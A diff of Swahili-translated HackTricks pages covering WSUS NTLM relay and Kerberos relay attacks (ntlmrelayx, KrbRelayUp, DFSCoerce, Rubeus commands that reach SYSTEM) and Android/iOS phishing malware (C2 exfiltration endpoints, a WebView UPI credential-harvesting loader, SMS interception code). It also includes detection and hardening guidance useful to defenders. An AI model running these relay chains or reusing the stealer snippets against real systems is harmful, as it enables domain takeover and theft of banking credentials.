reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
1) Position for MITM (same L2) ili mteja atoe resolve WSUS server kwa yako (ARP/DNS poisoning, Bettercap, mitm6, n.k.). Mfano kwa arpspoof:
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
2) Redirect port 8530 kwa relay listener yako (hiari, ni ya kufaa):
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
iptables -t nat -L PREROUTING --line-numbers
3) Anzisha ntlmrelayx na HTTP listener (inahitaji Impacket support kwa HTTP listener; ona PRs hapa chini):
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://<host>
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://<DC>
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
For deeper AD CS abuse paths and tooling, see the AD CS page:
{{#ref}}
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
{{#endref}}
4) Chochea client check-in au subiri ratiba. Kutoka kwa mteja:
wuauclt.exe /detectnow
au tumia Windows Update UI (Check for updates).
5) Tumia authenticated SOCKS sessions (ikiwa -socks) au matokeo ya relay moja kwa moja kwa post-exploitation (LDAP changes, SMB ops, au AD CS certificate issuance kwa uthibitisho baadaye).
HTTPS constraint (8531)
- Passive interception ya WSUS juu ya HTTPS haifanyi kazi isipokuwa wateja waanze kuamini certificate yako. Bila cert iliyoaminika au njia nyingine ya kuvunja TLS, NTLM handshake haiwezi kuchukuliwa/kurudishwa kutoka kwa trafiki ya WSUS HTTPS.
Notes
- WSUS ilitangazwa kuwa deprecated lakini bado imewekwa kwa wingi; HTTP (8530) bado ni ya kawaida katika mazingira mengi.
- Vifaa vinavyosaidia: wsusniff.py (angalia HTTP WSUS check-ins), wsuspider.sh (orodhesha WUServer/WUStatusServer kutoka GPOs), NetExec reg-query kwa wingi.
- Impacket ilirejesha HTTP listener support kwa ntlmrelayx katika PR #2034 (iliongezwa awali katika PR #913).
### Lazimisha NTLM Logins
Kwenye Windows unaweza uwe na uwezo wa kulazimisha baadhi ya akaunti zenye vigezo vya juu kuthibitisha kwa mashine yoyote. Soma ukurasa ufuatao ili ujifunze jinsi:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Mashambulizi ya Kerberos Relay
## Kerberos Relay attack
**Mashambulizi ya Kerberos relay** yanaua **AP-REQ ticket** kutoka huduma moja na kuirudisha dhidi ya huduma ya pili inayoshiriki **funguo ya akaunti ya kompyuta sawa** (kwa sababu SPNs zote mbili ziko kwenye akaunti ya mashine `$`). Hii inafanya kazi ingawa **daraja za huduma za SPNs zinatofautiana** (mfano `CIFS/``LDAP/`) kwa sababu *funguo* inayofungua tiketi ni NT hash ya mashine, si SPN string yenyewe na SPN string si sehemu ya saini.
A **Kerberos relay attack** inachukua tiketi ya **AP-REQ** kutoka kwa huduma moja na kuitumia tena dhidi ya huduma ya pili inayoshiriki **hiliyo funguo ya akaunti ya kompyuta** (kwa sababu SPNs zote ziko kwenye akaunti moja ya mashine yenye `$`). Hii inafanya kazi ingawa **service classes** za SPNs zinatofautiana (mfano `CIFS/``LDAP/`) kwa sababu funguo inayofungua tiketi ni NT hash ya mashine, si mnyororo wa SPN yenyewe na mnyororo wa SPN si sehemu ya saini.
Tofauti na NTLM relay, hop inakabiliwa na *mwenyeji mmoja* lakini, ikiwa unalenga protokali inayokuruhusu kuandika kwenye LDAP, unaweza kuunganisha kwenye **Resource-Based Constrained Delegation (RBCD)** au **AD CS enrollment** na kupiga **NT AUTHORITY\SYSTEM** kwa risasi moja.
Tofauti na NTLM relay, hop inafungwa kwa *host ileile* lakini, kama unalenga protocol inayokuja na uwezo wa kuandika kwa LDAP, unaweza kuunganisha katika **Resource-Based Constrained Delegation (RBCD)** au **AD CS enrollment** na kupiga **NT AUTHORITY\SYSTEM** kwa shambulio moja.
Kwa maelezo ya kina kuhusu shambulizi hili angalia:
For detailed info about this attack check:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Misingi ya Kerberos**
- 1. **Kerberos basics**
| Token | Kusudi | Umuhimu wa Relay |
| Token | Purpose | Relay relevance |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Inathibitisha mtumiaji kwa KDC | haijaguswa |
| **Service ticket / TGS-REQ ↔ REP** | Imefungwa kwa **SPN** moja; imefungwa kwa funguo ya mmiliki wa SPN | inaweza kubadilishana ikiwa SPNs zinashiriki akaunti |
| **AP-REQ** | Mteja anatumia `TGS` kwa huduma | **tunachokiba na kurudisha** |
| **TGT / AS-REQ ↔ REP** | Inathibitisha mtumiaji kwa KDC | haiguzwi |
| **Service ticket / TGS-REQ ↔ REP** | Imefungwa kwa SPN moja; imewaamshwa na key ya mmiliki wa SPN | inaweza kubadilishwa ikiwa SPNs zinashiriki akaunti |
| **AP-REQ** | Mteja anatumia `TGS` kwa huduma | **kile tunachochukua & kurudia** |
* Tiketi zimefungwa kwa **funguo iliyotokana na nenosiri la akaunti inayomiliki SPN**.
* **Authenticator** ndani ya AP-REQ ina alama ya muda ya dakika 5; kurudisha ndani ya dirisha hilo ni halali hadi cache ya huduma ionyeshe nakala.
* Windows mara chache huangalia ikiwa SPN string katika tiketi inalingana na huduma unayoingia, hivyo tiketi ya `CIFS/HOST` kawaida inafunguka vizuri kwenye `LDAP/HOST`.
* Tiketi zimefichwa kwa kutumia **password-derived key ya akaunti inayomiliki SPN**.
* **Authenticator** ndani ya AP-REQ ina timestamp ya dakika 5; replay ndani ya dirisha hilo ni halali hadi cache ya huduma iongee duplicate.
* Windows mara chache hukagua ikiwa mnyororo wa SPN uliopo kwenye tiketi unalingana na huduma uliyoikagua, hivyo tiketi ya `CIFS/HOST` kwa kawaida inaweza kufunguliwa vizuri kwenye `LDAP/HOST`.
- 2. **Nini kinapaswa kuwa kweli ili kuhamasisha Kerberos**
- 2. **Mambo yanayopaswa kuwa kweli ili ku-relay Kerberos**
1. **Funguo iliyoshirikiwa:** SPNs za chanzo na lengo zinamilikiwa na akaunti moja ya kompyuta (kawaida kwenye seva za Windows).
2. **Hakuna ulinzi wa channel:** SMB/LDAP kusaini mbali na EPA mbali kwa HTTP/LDAPS.
3. **Unaweza kukamata au kulazimisha uthibitisho:** LLMNR/NBNS sumu, DNS spoof, **PetitPotam / DFSCoerce RPC**, AuthIP bandia, DCOM mbaya, n.k..
4. **Chanzo cha tiketi hakijatumika tayari:** unashinda mbio kabla ya pakiti halisi kufika au kuzuia kabisa; vinginevyo cache ya kurudisha ya seva inatoa Tukio 4649.
5. Unahitaji kwa namna fulani kuwa na uwezo wa kufanya **MitM katika mawasiliano** labda ukiwa sehemu ya kundi la DNSAmins kubadilisha DNS ya kikoa au kuwa na uwezo wa kubadilisha faili ya HOST ya mwathirika.
1. **Shared key:** SPN chanzo na lengwa vinamilikiwa na akaunti moja ya kompyuta (default kwenye Windows servers).
2. **No channel protection:** Kusaini kwa SMB/LDAP kushufuliwa kuwa off na EPA off kwa HTTP/LDAPS.
3. **Unaweza kuingilia au kulazimisha uthibitisho:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, n.k.
4. **Ticket haijatumiwa tayari:** lazima ushinde mbio kabla ya packet halisi kufika au uiweke block kabisa; vinginevyo cache ya replay ya seva italeta Event 4649.
5. Lazima uweze kwa namna fulani kufanya **MitM katika mawasiliano** — labda kwa kuwa sehemu ya group ya DNSAmins ili kubadilisha DNS ya domain au kwa uwezo wa kubadilisha HOST file ya mshambuliaji.
### Hatua za Kerberos Relay
### Kerberos Relay Steps
- 3.1 **Fanya utafiti wa mwenyeji**
- 3.1 **Recon the host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Anza msikilizaji wa relay**
- 3.2 **Anzisha relay listener**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` inafunga **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** katika binary moja.
`KrbRelayUp` inaweka **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** pamoja katika binary moja.
- 3.3 **Lazimisha uthibitisho wa Kerberos**
- 3.3 **Lazimisha Kerberos auth**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce inafanya DC itume tiketi ya Kerberos `CIFS/DC01` kwetu.
- 3.4 **Relay the AP-REQ**
- 3.4 **Kupitisha AP-REQ**
KrbRelay inachukua GSS blob kutoka SMB, inaiweka tena katika LDAP bind, na kupeleka kwa `ldap://DC01`—uthibitishaji unafanikiwa kwa sababu **funguo ile ile** inaiweka wazi.
KrbRelay hutenganisha GSS blob kutoka kwa SMB, na kuiweka upya kama LDAP bind, kisha kuipeleka kwa `ldap://DC01`—uthibitishaji unafanikiwa kwa sababu **kifunguo kilekile** kinaifungua.
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
- 3.5 **Tumia vibaya LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@ -184,42 +244,42 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
You now own **NT AUTHORITY\SYSTEM**.
Sasa unamiliki **NT AUTHORITY\SYSTEM**.
### **More paths worth knowing**
### **Njia zaidi za kujua**
| Vector | Trick | Why it matters |
| Vector | Triki | Kwa nini inafaa |
|--------|-------|----------------|
| **AuthIP / IPSec** | Server bandia inatuma **GSS-ID payload** na SPN yoyote; mteja anajenga AP-REQ moja kwa moja kwako | Inafanya kazi hata kati ya subnets; mashine creds kwa default |
| **DCOM / MSRPC** | Resolver mbaya wa OXID inamfanya mteja kuidhinisha kwa SPN na bandari yoyote | Pure *local* priv-esc; inapita firewall |
| **AD CS Web Enroll** | Relay tiketi ya mashine kwa `HTTP/CA` na pata cheti, kisha **PKINIT** kutunga TGTs | Inapita ulinzi wa LDAP signing |
| **Shadow Credentials** | Andika `msDS-KeyCredentialLink`, kisha PKINIT na funguo za bandia | Hakuna haja ya kuongeza akaunti ya kompyuta |
| **AuthIP / IPSec** | Server bandia inatuma **GSS-ID payload** na SPN yoyote; client huunda AP-REQ moja kwa moja kwako | Inafanya kazi hata kati ya subnets; kredensiali za mashine kwa chaguo-msingi |
| **DCOM / MSRPC** | OXID resolver hasidi inalazimisha client kuthibitisha kwa SPN na port yoyote | Priv-esc *ya ndani* kabisa; inazunguka firewall |
| **AD CS Web Enroll** | Relaa tiketi ya mashine kwa `HTTP/CA` na upate cert, kisha **PKINIT** kutengeneza TGTs | Inapita kinga za LDAP signing |
| **Shadow Credentials** | Andika `msDS-KeyCredentialLink`, kisha PKINIT kwa jozi ya funguo iliyotengenezwa bandia | Hakuna haja ya kuunda account ya kompyuta |
### **Troubleshooting**
### **Kutatua matatizo**
| Error | Meaning | Fix |
| Hitilafu | Maana | Suluhisho |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Tiketi funguo ≠ funguo ya lengo | Host/SPN mbaya |
| `KRB_AP_ERR_SKEW` | Saa > 5 min offset | Sanidi muda au tumia `w32tm` |
| `KRB_AP_ERR_MODIFIED` | Ufunguo wa tiketi ≠ ufunguo wa lengo | Host au SPN si sahihi |
| `KRB_AP_ERR_SKEW` | Saa imepotoshwa zaidi ya dakika 5 | Sawaisha saa au tumia `w32tm` |
| LDAP bind fails | Signing enforced | Tumia njia ya AD CS au zima signing |
| Event 4649 spam | Huduma iliona Authenticator ya nakala | zuia au race pakiti ya asili |
| Event 4649 spam | Huduma iliona Authenticator ya nakala | Zuia au piga mbio dhidi ya kifurushi asilia |
### **Detection**
### **Utambuzi**
* Kuongezeka kwa **Event 4769** kwa `CIFS/`, `HTTP/`, `LDAP/` kutoka chanzo kimoja ndani ya sekunde.
* **Event 4649** kwenye huduma inaonyesha replay iligundulika.
* Kerberos logon kutoka **127.0.0.1** (relay kwa SCM ya ndani) ni ya kutia shaka—panga kupitia sheria ya Sigma katika nyaraka za KrbRelayUp.
* Angalia mabadiliko kwenye sifa za `msDS-AllowedToActOnBehalfOfOtherIdentity` au `msDS-KeyCredentialLink`.
* **Event 4649** kwenye huduma inaonyesha replay imetambuliwa.
* Ingia Kerberos kutoka **127.0.0.1** (relay kwa SCM ya ndani) ni shaka sana—tengeneza ramani kwa kutumia Sigma rule katika nyaraka za KrbRelayUp.
* Tazama mabadiliko ya sifa `msDS-AllowedToActOnBehalfOfOtherIdentity` au `msDS-KeyCredentialLink`.
## **Hardening**
## **Kuimarisha usalama**
1. **Lazimisha LDAP & SMB signing + EPA** kwenye kila seva.
2. **Gawanya SPNs** ili HTTP isiwe kwenye akaunti sawa na CIFS/LDAP.
3. Patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
4. Weka **`ms-DS-MachineAccountQuota = 0`** kuzuia kujiunga kwa kompyuta za uhalifu.
5. Onyesha kwenye **Event 4649** na logon za Kerberos za loopback zisizotarajiwa.
1. Lazimisha LDAP & SMB signing + EPA kwenye kila seva.
2. Gawanya SPNs ili HTTP isiwe kwenye akaunti ile ile na CIFS/LDAP.
3. Fanyiza patch coercion vectors (PetitPotam KB5005413, DFS, AuthIP).
4. Weka **`ms-DS-MachineAccountQuota = 0`** kuzuia kompyuta ovyo kujiunga.
5. Weka tahadhari kwa **Event 4649** na ingizo za Kerberos za loopback zisizotarajiwa.
@ -230,5 +290,13 @@ You now own **NT AUTHORITY\SYSTEM**.
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
- [GoSecure Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
- [Impacket PR #2034 Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
- [Impacket PR #913 HTTP relay support](https://github.com/fortra/impacket/pull/913)
- [WSUScripts wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
- [WSUScripts wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
- [MS-WSUSOD Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
- [Microsoft WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,63 +3,63 @@
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
> Ukurasa huu unafunika mbinu zinazotumiwa na wahalifu kusambaza **malicious Android APKs** na **iOS mobile-configuration profiles** kupitia phishing (SEO, social engineering, fake stores, dating apps, n.k.).
> Nyenzo imeanzishwa kutoka kwenye kampeni ya SarangTrap iliyofichuliwa na Zimperium zLabs (2025) na utafiti mwingine wa umma.
> Ukurasa huu unafunika mbinu zinazotumiwa na watendaji wa tishio kusambaza **malicious Android APKs** na **iOS mobile-configuration profiles** kupitia phishing (SEO, social engineering, maduka ya uongo, apps za dating, n.k.).
> Nyenzo imekitishwa kutoka kwenye kampeni ya SarangTrap iliyofichuliwa na Zimperium zLabs (2025) na utafiti mwingine wa umma.
## Mtiririko wa Shambulio
## Mtiririko wa Shambulizi
1. **SEO/Phishing Infrastructure**
* Jisajili kanda nyingi za domain zinazofanana (apps za dating, huduma za kushirikisha faili, huduma za gari…).
Tumia maneno muhimu ya lugha ya eneo na emojis katika elementi ya `<title>` ili kupata nafasi kwenye Google.
Weka maelekezo ya usakinishaji ya *both* Android (`.apk`) na iOS kwenye ukurasa mmoja wa kutua.
2. **Kipindi cha Kwanza cha Upakuaji**
* Android: kiungo moja kwa moja kwa APK isiyo *unsigned* au “third-party store”.
* iOS: `itms-services://` au kiungo cha HTTPS cha kawaida kinaelekeza kwenye **mobileconfig** profile yenye uharibifu (tazama chini).
3. **Baada ya usakinishaji: Social Engineering**
* Wakati wa kwanza kuendesha, app inaomba **invitation / verification code** (udanganyifu wa ufikiaji wa kipekee).
* Msimbo hutumwa kwa **POST** kupitia HTTP hadi Command-and-Control (C2).
* C2 inarudisha `{"success":true}` ➜ malware inaendelea.
* Sandbox / AV dynamic analysis ambazo hazitumi msimbo halali haziona **hakuna tabia hatarishi** (evasion).
4. **Matumizi mabaya ya ruhusa za Runtime** (Android)
* Ruhusa hatarishi zinaombwa tu **baada ya jibu chanya kutoka C2**:
* Sajili domain nyingi zinazofanana (dating, cloud share, car service…).
Tumia maneno muhimu ya lugha ya eneo na emojis katika `<title>` element ili kuonekana vizuri kwenye Google.
Host *both* Android (`.apk`) and iOS install instructions on the same landing page.
2. **First Stage Download**
* Android: link moja kwa moja kwa *unsigned* au APK ya “third-party store”.
* iOS: `itms-services://` au link ya HTTPS ya profile hatari ya **mobileconfig** (angalia hapo chini).
3. **Post-install Social Engineering**
* Katika kuendesha kwa mara ya kwanza app inamuomba mtumiaji **invitation / verification code** (kuleta hisia ya ufikiaji wa kipekee).
* Code hiyo inatumwa kwa POST juu ya HTTP kwenda Command-and-Control (C2).
* C2 inajibu `{"success":true}` ➜ malware inaendelea.
* Sandbox / AV dynamic analysis ambayo haitumiwi kwa kutuma code halali haiona **no malicious behaviour** (evation).
4. **Runtime Permission Abuse** (Android)
* Permissions hatari zinaombwa tu **baada ya jibu chanya kutoka C2**:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
```
* Toleo za hivi karibuni **zinaondoa `<uses-permission>` kwa SMS kutoka `AndroidManifest.xml`** lakini zinaacha njia ya Java/Kotlin inayosoma SMS kupitia reflection ⇒ inapunguza alama ya static wakati bado inafanya kazi kwenye vifaa vinavyotoa ruhusa kwa njia ya `AppOps` abuse au malengo ya zamani.
* Varianti za karibuni **zinaondoa `<uses-permission>` ya SMS kutoka `AndroidManifest.xml`** lakini ziacha path ya Java/Kotlin ambayo inasoma SMS kupitia reflection ⇒ inapunguza score ya static huku ikibaki kufanya kazi kwenye vifaa ambavyo vinampa ruhusa kupitia `AppOps` abuse au malengo ya zamani.
5. **Facade UI & Background Collection**
* App inaonyesha muonekano usio hatari (SMS viewer, gallery picker) utekelezaji wa ndani.
* Wakati huo huo hutuma data nje (exfiltrates):
- IMEI / IMSI, namba ya simu
- Full `ContactsContract` dump (JSON array)
- JPEG/PNG kutoka `/sdcard/DCIM` zinasimbwa na [Luban](https://github.com/Curzibn/Luban) ili kupunguza ukubwa
- Yenye chaguo la SMS content (`content://sms`)
Payloads zinazipiwa kwa batch (batch-zipped) na kutumwa kupitia `HTTP POST /upload.php`.
6. **Teknika ya Uwasilishaji ya iOS**
* Profile moja ya **mobile-configuration profile** inaweza kuomba `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` n.k. ili kujiandikisha kifaa kwa usimamizi unaofanana na “MDM”.
* App inaonyesha views zisizo hatari (SMS viewer, gallery picker) zilizounganishwa ndani.
* Wakati huo huo huchukua na kutuma nje:
- IMEI / IMSI, nambari ya simu
- Dump kamili ya `ContactsContract` (JSON array)
- JPEG/PNG kutoka `/sdcard/DCIM` zilizoshinikizwa kwa kutumia [Luban](https://github.com/Curzibn/Luban) kupunguza ukubwa
- Yenye hiari SMS content (`content://sms`)
Payloads zinakandamizwa kwa batch-zip na kutumwa kupitia `HTTP POST /upload.php`.
6. **iOS Delivery Technique**
* Profile moja ya **mobile-configuration** inaweza kuomba `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` n.k. kujiandikisha kifaa katika udhibiti unaofanana na “MDM”.
* Maelekezo ya social-engineering:
1. Fungua Settings ➜ *Profile downloaded*.
2. Bonyeza *Install* mara tatu (picha-skrini kwenye ukurasa wa phishing).
3. Amini profile isiyo signed ➜ mshambulizi anapata ruhusa za *Contacts* & *Photo* bila kupitia ukaguzi wa App Store.
7. **Tabaka la Mtandao**
* Plain HTTP, mara nyingi kwenye port 80 na HOST header kama `api.<phishingdomain>.com`.
2. Gusa *Install* mara tatu (screenshot kwenye ukurasa wa phishing).
3. Trust the unsigned profile ➜ mshambuliaji anapata ruhusa za *Contacts* & *Photo* bila kupitia App Store review.
7. **Network Layer**
* Plain HTTP, mara nyingi kwa port 80 na HOST header kama `api.<phishingdomain>.com`.
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (hakuna TLS → rahisi kugundua).
## Defensive Testing / Red-Team Tips
* **Dynamic Analysis Bypass** Wakati wa tathmini ya malware, otomatisha awamu ya invitation code kwa Frida/Objection ili kufikia tawi la uharibifu.
* **Manifest vs. Runtime Diff** Linganisha `aapt dump permissions` na runtime `PackageManager#getRequestedPermissions()`; kutokuwepo kwa ruhusa hatarishi ni ishara ya hatari.
* **Network Canary** Sanidi `iptables -p tcp --dport 80 -j NFQUEUE` kugundua POST bursts zisizo thabiti baada ya kuingiza msimbo.
* **mobileconfig Inspection** Tumia `security cms -D -i profile.mobileconfig` kwenye macOS ili orodhesha `PayloadContent` na kugundua entitlements za ziada.
* **Dynamic Analysis Bypass** Wakati wa tathmini ya malware, automate hatua ya invitation code kwa kutumia Frida/Objection ili kufikia tawi hatari.
* **Manifest vs. Runtime Diff** Linganisha `aapt dump permissions` na runtime `PackageManager#getRequestedPermissions()`; permissions hatari zisizopatikana ni alama ya hatari.
* **Network Canary** Sanidi `iptables -p tcp --dport 80 -j NFQUEUE` kugundua mfululizo wa POST zisizo za kawaida baada ya kuingiza code.
* **mobileconfig Inspection** Tumia `security cms -D -i profile.mobileconfig` kwenye macOS ili kuorodhesha `PayloadContent` na kutambua ruhusa nyingi kupita kiasi.
## Blue-Team Detection Ideas
* **Certificate Transparency / DNS Analytics** ili kushika mfululizo wa ghafla wa domain zilizo na maneno muhimu.
* **Certificate Transparency / DNS Analytics** kugundua mlipuko wa ghafla wa domain zilizojazwa maneno muhimu.
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` kutoka kwa Dalvik clients nje ya Google Play.
* **Invite-code Telemetry** POST ya nambari za tarakimu 68 mara baada ya usakinishaji wa APK inaweza kuashiria staging.
* **MobileConfig Signing** Zuia configuration profiles zisizosainiwa kupitia sera za MDM.
* **Invite-code Telemetry** POST ya nambari za tarakimu 68 karibu mara baada ya apk kutumika inaweza kuashiria staging.
* **MobileConfig Signing** Kata profiles zilizotiwa sahihi bila saini kupitia sera za MDM.
## Useful Frida Snippet: Auto-Bypass Invitation Code
```python
@ -80,7 +80,7 @@ return conn;
};
});
```
## Viashiria (Za Kawaida)
## Viashiria (Za jumla)
```
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
@ -90,28 +90,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
## Android WebView Payment Phishing (UPI) Dropper + FCM C2 Pattern
Mufumo huu umeonekana katika kampeni zinazotumia mandhari za faida za serikali ili kuiba vyeti vya UPI vya India na OTPs. Waendeshaji huunganisha majukwaa yenye sifa kwa ajili ya usambazaji na ustahimilivu.
This pattern imeonekana kwenye kampeni zinazotumia mandhari ya faida za serikali kuiba(credentials) za Indian UPI na OTPs. Waendeshaji wanachanganya majukwaa yenye sifa kwa ajili ya delivery na resilience.
### Mnyororo wa utoaji kupitia majukwaa yanayotegemewa
- Video ya kuvutia kwenye YouTube → maelezo yana kiunganisho kifupi
- Kiunganisho kifupi → tovuti ya phishing kwenye GitHub Pages inayoiga portal halali
- Repo hiyo ya GitHub inahifadhi APK yenye beji bandia “Google Play” inayounganisha moja kwa moja kwenye faili
- Kurasa za phishing zinazobadilika zinahifadhiwa kwenye Replit; chaneli ya amri za mbali inatumia Firebase Cloud Messaging (FCM)
### Delivery chain across trusted platforms
- YouTube video lure → description ina short link
- Shortlink → GitHub Pages phishing site inayofanana na legit portal
- Same GitHub repo inahifadhi APK yenye fake “Google Play” badge ikielekeza moja kwa moja kwenye file
- Dynamic phishing pages zipo kwenye Replit; remote command channel inatumia Firebase Cloud Messaging (FCM)
### Dropper with embedded payload and offline install
- APK ya kwanza ni msakinishaji (dropper) anayesafirisha malware halisi katika `assets/app.apk` na kuhimiza mtumiaji kuzima WiFi/data ya simu ili kupunguza utambuzi wa cloud.
- Embedded payload inasakinishwa chini ya lebo isiyoonekana tishio (kwa mfano, “Secure Update”). Baada ya usakinishaji, msakinishaji na payload wote hubaki kama apps tofauti.
- APK ya kwanza ni installer (dropper) inayosafirisha malware halisi katika `assets/app.apk` na inamtia mtumiaji moyo kuzima WiFi/mobile data ili kupunguza cloud detection.
- The embedded payload inasakinishwa chini ya label isiyoonekana (mfano, “Secure Update”). Baada ya usakinishaji, installer na payload zote zipo kama apps tofauti.
Vidokezo vya triage ya static (grep for embedded payloads):
Static triage tip (grep for embedded payloads):
```bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head
```
### Ugunduzi wa endpoints kwa njia ya shortlink
- Malware inachukua orodha ya plain-text, comma-separated ya live endpoints kutoka shortlink; simple string transforms hutengeneza final phishing page path.
### Ugundaji wa endpoints unaobadilika kupitia shortlink
- Malware inapata orodha ya plain-text, iliyotengwa kwa koma ya endpoints hai kutoka kwa shortlink; mabadiliko rahisi ya string hutoa path ya mwisho ya ukurasa wa phishing.
Mfano (safishwa):
Mfano (imerekebishwa):
```
GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload: https://sqcepo.replit.app/addsm.php
```
Msimbo wa mfano (pseudo-code):
Pseudokodi:
```java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
@ -127,25 +127,25 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");
```
### WebView-based UPI credential harvesting
- Hatua ya “Make payment of ₹1 / UPILite” inapakia fomu ya HTML ya mshambulizi kutoka kwa endpoint ya dinamiki ndani ya WebView na inakusanya viwanja nyeti (nambari ya simu, benki, UPI PIN) ambavyo vinatumwa kwa `POST` kwenda `addup.php`.
### Kuvuna credentials za UPI kwa kutumia WebView
- Hatua ya “Make payment of ₹1 / UPILite” hupakia fomu ya HTML ya mshambuliaji kutoka kwenye endpoint ya dinamik ndani ya WebView na inakamata mawanja nyeti (namba ya simu, benki, UPI PIN) ambazo zimetumwa kwa `POST` kwenye `addup.php`.
Minimal loader:
Loader mdogo:
```java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
```
### Kujieneza mwenyewe na kukamata SMS/OTP
- Ruhusa kali zinaombwa mara ya kwanza kuendeshwa:
### Ujisambazaji na kunasa SMS/OTP
- Ruhusa kali zinaombwa mara ya kwanza programu inapoanzishwa:
```xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
```
- Mawasiliano huwekwa katika mzunguko ili kutuma kwa wingi smishing SMS kutoka kwenye kifaa cha mwathiriwa.
- SMS zinazoingia zinakamatwa na broadcast receiver na zinapakiwa zikiwa na metadata (sender, body, SIM slot, per-device random ID) kwenye `/addsm.php`.
- Mawasiliano hurudiwa ili kutuma kwa wingi smishing SMS kutoka kwa kifaa cha mwathiriwa.
- SMS zinazoingia zinakamatwa na broadcast receiver na hupakiwa pamoja na metadata (sender, body, SIM slot, per-device random ID) kwenda `/addsm.php`.
Mchoro wa receiver:
```java
@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
}
}
```
### Firebase Cloud Messaging (FCM) kama C2 inayostahimili
